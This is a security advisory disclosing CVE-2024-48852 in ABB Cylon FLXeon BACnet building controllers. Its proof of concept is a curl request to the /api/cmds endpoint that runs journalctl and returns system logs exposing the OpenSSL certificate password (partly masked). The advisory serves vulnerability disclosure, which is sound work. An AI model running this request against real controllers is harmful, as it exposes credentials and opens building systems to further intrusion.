ABB Cylon FLXeon 9.3.4 (cert.js) System Logs Information Disclosure


Vendor: ABB Ltd.
Product web page: https://www.global.abb                   
Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                  CBX Series (FLX Series)
                  CBT Series
                  CBV Series
                  Firmware: <=9.3.4

Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.

Desc: An authenticated attacker can access sensitive information via the system logs
page of ABB Cylon FLXeon controllers. The logs expose critical data, including the
OpenSSL password for stored certificates. This information can be leveraged for further
attacks, such as decrypting encrypted communications, impersonation, or gaining deeper
system access.

Tested on: Linux Kernel 5.4.27
           Linux Kernel 4.15.13
           NodeJS/8.4.0
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5920
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5920.php
CVE ID: CVE-2024-48852
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48852


21.04.2024

--


$ cat project

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         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░


$ curl -k "https://7.3.3.1/api/cmds" \ # JS > /diagnostics/logs-system (platform-dist)
> -H "Cookie: user_sid=xxx" \
> -d "{\"cmd\":\"journalctl -b -r --no-hostname ^| head -c 600000 \"}"

-- Logs begin at Thu 2024-06-13 10:58:03 EDT, end at Mon 2024-09-09 09:10:33 EDT. --
Feb 13 12:38:26 node[5810]:     at endReadableNT (_stream_readable.js:1059:12)
Feb 13 12:38:26 node[5810]:     at IncomingMessage.emit (events.js:207:7)
Feb 13 12:38:26 node[5810]:     at emitNone (events.js:105:13)
Feb 13 12:38:26 node[5810]:     at IncomingMessage.onEnd (/home/MIX_CMIX/node-server/node_modules/raw-body/index.js:273:7)
Feb 13 12:38:26 node[5810]:     at done (/home/MIX_CMIX/node-server/node_modules/raw-body/index.js:213:7)
Feb 13 12:38:26 node[5810]:     at invokeCallback (/home/MIX_CMIX/node-serve"}
...
...
Sep 09 09:10:33 node[5810]: cmd = openssl req -x509 -passin pass:c*******2 -key /usr/local/aam/node-server//certs/cbxi.key.pem -new -sha256 -out /usr/local/aam/node-server//certs/cbxi.cert.pem -subj  "/C=IE/ST=/L=Dublin/O=Cylon Controls/OU=/CN="
Sep 09 09:08:18 node[5810]: cmd = openssl req -x509 -passin pass:c*******2 -key /usr/local/aam/node-server//certs/cbxi.key.pem -new -sha256 -out /usr/local/aam/node-server//certs/cbxi.cert.pem -subj  "/C=IE/ST=/L=Dublin/O=Cylon Controls/OU=/CN="
Sep 09 09:00:12 node[5810]: Error: ENOENT: no such file or directory, stat '/usr/local/aam/node-server/certs/cbxi.csr.pem'
Sep 09 08:59:58 node[5810]: Error: ENOENT: no such file or directory, stat '/usr/local/aam/node-server/certs/cbxi.csr.pem'
Sep 09 08:59:41 node[5810]: Error: ENOENT: no such file or directory, stat '/usr/local/
...
...